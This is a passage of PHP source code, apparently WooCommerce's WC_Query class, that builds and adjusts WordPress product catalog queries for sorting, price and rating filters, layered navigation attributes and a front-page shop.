get them if endpoints are not supported. foreach ( $this->get_query_vars() as $key => $var ) { if ( isset( $_GET[ $var ] ) ) { $wp->query_vars[ $key ] = sanitize_text_field( wp_unslash( $_GET[ $var ] ) ); } elseif ( isset( $wp->query_vars[ $var ] ) ) { $wp->query_vars[ $key ] = $wp->query_vars[ $var ]; } } // phpcs:enable WordPress.Security.NonceVerification.Recommended } /** * Are we currently on the front page? * * @param WP_Query $q Query instance. * @return bool */ private function is_showing_page_on_front( $q ) { return ( $q->is_home() && ! $q->is_posts_page ) && 'page' === get_option( 'show_on_front' ); } /** * Is the front page a page we define? * * @param int $page_id Page ID. * @return bool */ private function page_on_front_is( $page_id ) { return absint( get_option( 'page_on_front' ) ) === absint( $page_id ); } /** * Hook into pre_get_posts to do the main product query. * * @param WP_Query $q Query instance. */ public function pre_get_posts( $q ) { // We only want to affect the main query. if ( ! $q->is_main_query() ) { return; } // Fixes for queries on static homepages. if ( $this->is_showing_page_on_front( $q ) ) { // Fix for endpoints on the homepage. if ( ! $this->page_on_front_is( $q->get( 'page_id' ) ) ) { $_query = wp_parse_args( $q->query ); if ( ! empty( $_query ) && array_intersect( array_keys( $_query ), array_keys( $this->get_query_vars() ) ) ) { $q->is_page = true; $q->is_home = false; $q->is_singular = true; $q->set( 'page_id', (int) get_option( 'page_on_front' ) ); add_filter( 'redirect_canonical', '__return_false' ); } } // When orderby is set, WordPress shows posts on the front-page. Get around that here. if ( $this->page_on_front_is( wc_get_page_id( 'shop' ) ) ) { $_query = wp_parse_args( $q->query ); if ( empty( $_query ) || ! array_diff( array_keys( $_query ), array( 'preview', 'page', 'paged', 'cpage', 'orderby' ) ) ) { $q->set( 'page_id', (int) get_option( 'page_on_front' ) ); $q->is_page = true; $q->is_home = false; // WP supporting themes show post type archive. if ( current_theme_supports( 'woocommerce' ) ) { $q->set( 'post_type', 'product' ); } else { $q->is_singular = true; } } } elseif ( ! empty( $_GET['orderby'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $q->set( 'page_id', (int) get_option( 'page_on_front' ) ); $q->is_page = true; $q->is_home = false; $q->is_singular = true; } } // Fix product feeds. if ( $q->is_feed() && $q->is_post_type_archive( 'product' ) ) { $q->is_comment_feed = false; } // Special check for shops with the PRODUCT POST TYPE ARCHIVE on front. if ( current_theme_supports( 'woocommerce' ) && $q->is_page() && 'page' === get_option( 'show_on_front' ) && absint( $q->get( 'page_id' ) ) === wc_get_page_id( 'shop' ) ) { // This is a front-page shop. $q->set( 'post_type', 'product' ); $q->set( 'page_id', '' ); if ( isset( $q->query['paged'] ) ) { $q->set( 'paged', $q->query['paged'] ); } // Define a variable so we know this is the front page shop later on. wc_maybe_define_constant( 'SHOP_IS_ON_FRONT', true ); // Get the actual WP page to avoid errors and let us use is_front_page(). // This is hacky but works. Awaiting https://core.trac.wordpress.org/ticket/21096. global $wp_post_types; $shop_page = get_post( wc_get_page_id( 'shop' ) ); $wp_post_types['product']->ID = $shop_page->ID; $wp_post_types['product']->post_title = $shop_page->post_title; $wp_post_types['product']->post_name = $shop_page->post_name; $wp_post_types['product']->post_type = $shop_page->post_type; $wp_post_types['product']->ancestors = get_ancestors( $shop_page->ID, $shop_page->post_type ); // Fix conditional Functions like is_front_page. $q->is_singular = false; $q->is_post_type_archive = true; $q->is_archive = true; $q->is_page = true; // Remove post type archive name from front page title tag. add_filter( 'post_type_archive_title', '__return_empty_string', 5 ); // Fix WP SEO. if ( class_exists( 'WPSEO_Meta' ) ) { add_filter( 'wpseo_metadesc', array( $this, 'wpseo_metadesc' ) ); add_filter( 'wpseo_metakey', array( $this, 'wpseo_metakey' ) ); } } elseif ( ! $q->is_post_type_archive( 'product' ) && ! $q->is_tax( get_object_taxonomies( 'product' ) ) ) { // Only apply to product categories, the product post archive, the shop page, product tags, and product attribute taxonomies. return; } $this->product_query( $q ); } /** * Handler for the 'the_posts' WP filter. * * @param array $posts Posts from WP Query. * @param WP_Query $query Current query. * * @return array */ public function handle_get_posts( $posts, $query ) { if ( 'product_query' !== $query->get( 'wc_query' ) ) { return $posts; } $this->remove_product_query_filters( $posts ); return $posts; } /** * Pre_get_posts above may adjust the main query to add WooCommerce logic. When this query is done, we need to ensure * all custom filters are removed. * * This is done here during the_posts filter. The input is not changed. * * @param array $posts Posts from WP Query. * @return array */ public function remove_product_query_filters( $posts ) { $this->remove_ordering_args(); remove_filter( 'posts_clauses', array( $this, 'price_filter_post_clauses' ), 10, 2 ); return $posts; } /** * This function used to be hooked to found_posts and adjust the posts count when the filtering by attribute * widget was used and variable products were present. Now it isn't hooked anymore and does nothing but return * the input unchanged, since the pull request in which it was introduced has been reverted. * * @since 4.4.0 * @param int $count Original posts count, as supplied by the found_posts filter. * @param WP_Query $query The current WP_Query object. * * @return int Adjusted posts count. */ public function adjust_posts_count( $count, $query ) { return $count; } /** * Instance version of get_layered_nav_chosen_attributes, needed for unit tests. * * @return array */ protected function get_layered_nav_chosen_attributes_inst() { return self::get_layered_nav_chosen_attributes(); } /** * Get the posts (or the ids of the posts) found in the current WP loop. * * @return array Array of posts or post ids. */ protected function get_current_posts() { return $GLOBALS['wp_query']->posts; } /** * WP SEO meta description. * * Hooked into wpseo_ hook already, so no need for function_exist. * * @return string */ public function wpseo_metadesc() { return WPSEO_Meta::get_value( 'metadesc', wc_get_page_id( 'shop' ) ); } /** * WP SEO meta key. * * Hooked into wpseo_ hook already, so no need for function_exist. * * @return string */ public function wpseo_metakey() { return WPSEO_Meta::get_value( 'metakey', wc_get_page_id( 'shop' ) ); } /** * Query the products, applying sorting/ordering etc. * This applies to the main WordPress loop. * * @param WP_Query $q Query instance. */ public function product_query( $q ) { if ( ! is_feed() ) { $ordering = $this->get_catalog_ordering_args(); $q->set( 'orderby', $ordering['orderby'] ); $q->set( 'order', $ordering['order'] ); if ( isset( $ordering['meta_key'] ) ) { $q->set( 'meta_key', $ordering['meta_key'] ); } } // Query vars that affect posts shown. $q->set( 'meta_query', $this->get_meta_query( $q->get( 'meta_query' ), true ) ); $q->set( 'tax_query', $this->get_tax_query( $q->get( 'tax_query' ), true ) ); $q->set( 'wc_query', 'product_query' ); $q->set( 'post__in', array_unique( (array) apply_filters( 'loop_shop_post_in', array() ) ) ); // Work out how many products to query. $q->set( 'posts_per_page', $q->get( 'posts_per_page' ) ? $q->get( 'posts_per_page' ) : apply_filters( 'loop_shop_per_page', wc_get_default_products_per_row() * wc_get_default_product_rows_per_page() ) ); // Store reference to this query. self::$product_query = $q; // Additonal hooks to change WP Query. self::add_filter( 'posts_clauses', array( $this, 'product_query_post_clauses' ), 10, 2 ); add_filter( 'the_posts', array( $this, 'handle_get_posts' ), 10, 2 ); do_action( 'woocommerce_product_query', $q, $this ); } /** * Add extra clauses to the product query. * * @param array $args Product query clauses. * @param WP_Query $wp_query The current product query. * @return array The updated product query clauses array. */ private function product_query_post_clauses( $args, $wp_query ) { $args = $this->price_filter_post_clauses( $args, $wp_query ); $args = $this->filterer->filter_by_attribute_post_clauses( $args, $wp_query, $this->get_layered_nav_chosen_attributes() ); return $args; } /** * Remove the query. */ public function remove_product_query() { remove_action( 'pre_get_posts', array( $this, 'pre_get_posts' ) ); } /** * Remove ordering queries. */ public function remove_ordering_args() { remove_filter( 'posts_clauses', array( $this, 'order_by_price_asc_post_clauses' ) ); remove_filter( 'posts_clauses', array( $this, 'order_by_price_desc_post_clauses' ) ); remove_filter( 'posts_clauses', array( $this, 'order_by_popularity_post_clauses' ) ); remove_filter( 'posts_clauses', array( $this, 'order_by_rating_post_clauses' ) ); } /** * Returns an array of arguments for ordering products based on the selected values. * * @param string $orderby Order by param. * @param string $order Order param. * @return array */ public function get_catalog_ordering_args( $orderby = '', $order = '' ) { // Get ordering from query string unless defined. if ( ! $orderby ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $orderby_value = isset( $_GET['orderby'] ) ? wc_clean( (string) wp_unslash( $_GET['orderby'] ) ) : wc_clean( get_query_var( 'orderby' ) ); if ( ! $orderby_value ) { if ( is_search() ) { $orderby_value = 'relevance'; } else { $orderby_value = apply_filters( 'woocommerce_default_catalog_orderby', get_option( 'woocommerce_default_catalog_orderby', 'menu_order' ) ); } } // Get order + orderby args from string. $orderby_value = is_array( $orderby_value ) ? $orderby_value : explode( '-', $orderby_value ); $orderby = esc_attr( $orderby_value[0] ); $order = ! empty( $orderby_value[1] ) ? $orderby_value[1] : $order; } // Convert to correct format. $orderby = strtolower( is_array( $orderby ) ? (string) current( $orderby ) : (string) $orderby ); $order = strtoupper( is_array( $order ) ? (string) current( $order ) : (string) $order ); $args = array( 'orderby' => $orderby, 'order' => ( 'DESC' === $order ) ? 'DESC' : 'ASC', 'meta_key' => '', // @codingStandardsIgnoreLine ); switch ( $orderby ) { case 'id': $args['orderby'] = 'ID'; break; case 'menu_order': $args['orderby'] = 'menu_order title'; break; case 'title': $args['orderby'] = 'title'; $args['order'] = ( 'DESC' === $order ) ? 'DESC' : 'ASC'; break; case 'relevance': $args['orderby'] = 'relevance'; $args['order'] = 'DESC'; break; case 'rand': $args['orderby'] = 'rand'; // @codingStandardsIgnoreLine break; case 'date': $args['orderby'] = 'date ID'; $args['order'] = ( 'ASC' === $order ) ? 'ASC' : 'DESC'; break; case 'price': $callback = 'DESC' === $order ? 'order_by_price_desc_post_clauses' : 'order_by_price_asc_post_clauses'; add_filter( 'posts_clauses', array( $this, $callback ) ); break; case 'popularity': add_filter( 'posts_clauses', array( $this, 'order_by_popularity_post_clauses' ) ); break; case 'rating': add_filter( 'posts_clauses', array( $this, 'order_by_rating_post_clauses' ) ); break; } return apply_filters( 'woocommerce_get_catalog_ordering_args', $args, $orderby, $order ); } /** * Custom query used to filter products by price. * * @since 3.6.0 * * @param array $args Query args. * @param WP_Query $wp_query WP_Query object. * * @return array */ public function price_filter_post_clauses( $args, $wp_query ) { global $wpdb; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! $wp_query->is_main_query() || ( ! isset( $_GET['max_price'] ) && ! isset( $_GET['min_price'] ) ) ) { return $args; } // phpcs:disable WordPress.Security.NonceVerification.Recommended $current_min_price = isset( $_GET['min_price'] ) ? floatval( wp_unslash( $_GET['min_price'] ) ) : 0; $current_max_price = isset( $_GET['max_price'] ) ? floatval( wp_unslash( $_GET['max_price'] ) ) : PHP_INT_MAX; // phpcs:enable WordPress.Security.NonceVerification.Recommended /** * Adjust if the store taxes are not displayed how they are stored. * Kicks in when prices excluding tax are displayed including tax. */ if ( wc_tax_enabled() && 'incl' === get_option( 'woocommerce_tax_display_shop' ) && ! wc_prices_include_tax() ) { $tax_class = apply_filters( 'woocommerce_price_filter_widget_tax_class', '' ); // Uses standard tax class. $tax_rates = WC_Tax::get_rates( $tax_class ); if ( $tax_rates ) { $current_min_price -= WC_Tax::get_tax_total( WC_Tax::calc_inclusive_tax( $current_min_price, $tax_rates ) ); $current_max_price -= WC_Tax::get_tax_total( WC_Tax::calc_inclusive_tax( $current_max_price, $tax_rates ) ); } } $args['join'] = $this->append_product_sorting_table_join( $args['join'] ); $args['where'] .= $wpdb->prepare( ' AND NOT (%f<wc_product_meta_lookup.min_price OR %f>wc_product_meta_lookup.max_price ) ', $current_max_price, $current_min_price ); return $args; } /** * Handle numeric price sorting. * * @param array $args Query args. * @return array */ public function order_by_price_asc_post_clauses( $args ) { $args['join'] = $this->append_product_sorting_table_join( $args['join'] ); $args['orderby'] = ' wc_product_meta_lookup.min_price ASC, wc_product_meta_lookup.product_id ASC '; return $args; } /** * Handle numeric price sorting. * * @param array $args Query args. * @return array */ public function order_by_price_desc_post_clauses( $args ) { $args['join'] = $this->append_product_sorting_table_join( $args['join'] ); $args['orderby'] = ' wc_product_meta_lookup.max_price DESC, wc_product_meta_lookup.product_id DESC '; return $args; } /** * WP Core does not let us change the sort direction for individual orderby params - https://core.trac.wordpress.org/ticket/17065. * * This lets us sort by meta value desc, and have a second orderby param. * * @param array $args Query args. * @return array */ public function order_by_popularity_post_clauses( $args ) { $args['join'] = $this->append_product_sorting_table_join( $args['join'] ); $args['orderby'] = ' wc_product_meta_lookup.total_sales DESC, wc_product_meta_lookup.product_id DESC '; return $args; } /** * Order by rating post clauses. * * @param array $args Query args. * @return array */ public function order_by_rating_post_clauses( $args ) { $args['join'] = $this->append_product_sorting_table_join( $args['join'] ); $args['orderby'] = ' wc_product_meta_lookup.average_rating DESC, wc_product_meta_lookup.rating_count DESC, wc_product_meta_lookup.product_id DESC '; return $args; } /** * Join wc_product_meta_lookup to posts if not already joined. * * @param string $sql SQL join. * @return string */ private function append_product_sorting_table_join( $sql ) { global $wpdb; if ( ! strstr( $sql, 'wc_product_meta_lookup' ) ) { $sql .= " LEFT JOIN {$wpdb->wc_product_meta_lookup} wc_product_meta_lookup ON $wpdb->posts.ID = wc_product_meta_lookup.product_id "; } return $sql; } /** * Appends meta queries to an array. * * @param array $meta_query Meta query. * @param bool $main_query If is main query. * @return array */ public function get_meta_query( $meta_query = array(), $main_query = false ) { if ( ! is_array( $meta_query ) ) { $meta_query = array(); } return array_filter( apply_filters( 'woocommerce_product_query_meta_query', $meta_query, $this ) ); } /** * Appends tax queries to an array. * * @param array $tax_query Tax query. * @param bool $main_query If is main query. * @return array */ public function get_tax_query( $tax_query = array(), $main_query = false ) { if ( ! is_array( $tax_query ) ) { $tax_query = array( 'relation' => 'AND', ); } if ( $main_query && ! $this->filterer->filtering_via_lookup_table_is_active() ) { // Layered nav filters on terms. foreach ( $this->get_layered_nav_chosen_attributes() as $taxonomy => $data ) { $tax_query[] = array( 'taxonomy' => $taxonomy, 'field' => 'slug', 'terms' => $data['terms'], 'operator' => 'and' === $data['query_type'] ? 'AND' : 'IN', 'include_children' => false, ); } } $product_visibility_terms = wc_get_product_visibility_term_ids(); $product_visibility_not_in = array( is_search() && $main_query ? $product_visibility_terms['exclude-from-search'] : $product_visibility_terms['exclude-from-catalog'] ); // Hide out of stock products. if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) { $product_visibility_not_in[] = $product_visibility_terms['outofstock']; } // phpcs:disable WordPress.Security.NonceVerification.Recommended // Filter by rating. if ( isset( $_GET['rating_filter'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $rating_filter = array_filter( array_map( 'absint', explode( ',', wp_unslash( $_GET['rating_filter'] ) ) ) ); $rating_terms = array(); for ( $i = 1; $i <= 5; $i ++ ) { if ( in_array( $i, $rating_filter, true ) && isset( $product_visibility_terms[ 'rated-' . $i ] ) ) { $rating_terms[] = $product_visibility_terms[ 'rated-' . $i ]; } } if ( ! empty( $rating_terms ) ) { $tax_query[] = array( 'taxonomy' => 'product_visibility', 'field' => 'term_taxonomy_id', 'terms' => $rating_terms, 'operator' => 'IN', 'rating_filter' => true, ); } } // phpcs:enable WordPress.Security.NonceVerification.Recommended if ( ! empty( $product_visibility_not_in ) ) { $tax_query[] = array( 'taxonomy' => 'product_visibility', 'field' => 'term_taxonomy_id', 'terms' => $product_visibility_not_in, 'operator' => 'NOT IN', ); } return array_filter( apply_filters( 'woocommerce_product_query_tax_query', $tax_query, $this ) ); } /** * Get the main query which product queries ran against. * * @return WP_Query */ public static function get_main_query() { return self::$product_query; } /** * Get the tax query which was used by the main query. * * @return array */ public static function get_main_tax_query() { $tax_query = isset( self::$product_query->tax_query, self::$product_query->tax_query->queries ) ? self::$product_query->tax_query->queries : array(); return $tax_query; } /** * Get the meta query which was used by the main query. * * @return array */ public static function get_main_meta_query() { $args = self::$product_query->query_vars; $meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array(); return $meta_query; } /** * Based on WP_Query::parse_search */ public static function get_main_search_query_sql() { global $wpdb; $args = self::$product_query->query_vars; $search_terms = isset( $args['search_terms'] ) ? $args['search_terms'] : array(); $sql = array(); foreach ( $search_terms as $term ) { // Terms prefixed with '-' should be excluded. $include = '-' !== substr( $term, 0, 1 ); if ( $include ) { $like_op = 'LIKE'; $andor_op = 'OR'; } else { $like_op = 'NOT LIKE'; $andor_op = 'AND'; $term = substr( $term, 1 ); } $like = '%' . $wpdb->esc_like( $term ) . '%'; // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared $sql[] = $wpdb->prepare( "(($wpdb->posts.post_title $like_op %s) $andor_op ($wpdb->posts.post_excerpt $like_op %s) $andor_op ($wpdb->posts.post_content $like_op %s))", $like, $like, $like ); } if ( ! empty( $sql ) && ! is_user_logged_in() ) { $sql[] = "($wpdb->posts.post_password = '')"; } return implode( ' AND ', $sql ); } /** * Get an array of attributes and terms selected with the layered nav widget. * * @return array */ public static function get_layered_nav_chosen_attributes() { // phpcs:disable WordPress.Security.NonceVerification.Recommended if ( ! is_array( self::$chosen_attributes ) ) { self::$chosen_attributes = array(); if ( ! empty( $_GET ) ) { foreach ( $_GET as $key => $value ) { if ( 0 === strpos( $key, 'filter_' ) ) { $attribute = wc_sanitize_taxonomy_name( str_replace( 'filter_', '', $key ) ); $taxonomy = wc_attribute_taxonomy_name( $attribute ); $filter_terms = ! empty( $value ) ? explode( ',', wc_clean( wp_unslash( $value ) ) ) : array(); if ( empty( $filter_terms ) || ! taxonomy_exists( $taxonomy ) || ! wc_attribute_taxonomy_id_by_name( $attribute ) ) { continue; } $query_type = ! empty( $_GET[ 'query_type_' . $attribute ] ) && in_array( $_GET[ 'query_type_' . $attribute ], array( 'and', 'or' ), true ) ? wc_clean( wp_unslash( $_GET[ 'query_type_' . $attribute ] ) ) : ''; self::$chosen_attributes[ $taxonomy ]['terms'] = array_map( 'sanitize_title', $filter_terms ); // Ensures correct encoding. self::$chosen_attributes[ $taxonomy ]['query_type'] = $query_type ? $query_type : apply_filters( 'woocommerce_layered_nav_default_query_type', 'and' ); } } } } return self::$chosen_attributes; // phpcs:disable WordPress.Security.NonceVerification.Recommended } /** * Remove the add-to-cart param from pagination urls. * * @param string $url URL. * @return string */ public function remove_add_to_cart_pagination( $url ) { return remove_query_arg( 'add-to-cart', $url ); } /** * Return a meta query for filtering by rating. * * @deprecated 3.0.0 Replaced with taxonomy. * @return array */ public function rating_filter_meta_query() { return array(); } /** * Returns a meta query to handle product visibility. * * @deprecated 3.0.0 Replaced with taxonomy. * @param string $compare (default: 'IN'). * @return array */ public function visibility_meta_query( $compare = 'IN' ) { return array(); } /** * Returns a meta query to handle product stock status. * * @deprecated 3.0.0 Replaced with taxonomy. * @param string $status (default: 'instock'). * @return array */ public function stock_status_meta_query( $status = 'instock' ) { return array(); } /** * Layered nav init. * * @deprecated 2.6.0 */ public function layered_nav_init() { wc_deprecated_function( 'layered_nav_init', '2.6' ); } /** * Get an unpaginated list all product IDs (both filtered and unfiltered). Makes use of transients. * * @deprecated 2.6.0 due to performance concerns */ public function get_products_in_view() { wc_deprecated_function( 'get_products_in_view', '2.6' ); } /** * Layered Nav post filter. * * @deprecated 2.6.0 due to performance concerns * * @param mixed $deprecated Deprecated. */ public function layered_nav_query( $deprecated ) { wc_deprecated_function( 'layered_nav_query', '2.6' ); } /** * Search post excerpt. * * @param string $where Where clause. * * @deprecated 3.2.0 - Not needed anymore since WordPress 4.5. */ public function search_post_excerpt( $where = '' ) { wc_deprecated_function( 'WC_Query::search_post_excerpt', '3.2.0', 'Excerpt added to search query by default since WordPress 4.5.' ); return $where; } /** * Remove the posts_where filter. * * @deprecated 3.2.0 - Nothing to remove anymore because search_post_excerpt() is deprecated. */ public function remove_posts_where() { wc_deprecated_function( 'WC_Query::remove_posts_where', '3.2.0', 'Nothing to remove anymore because search_post_excerpt() is deprecated.' ); } }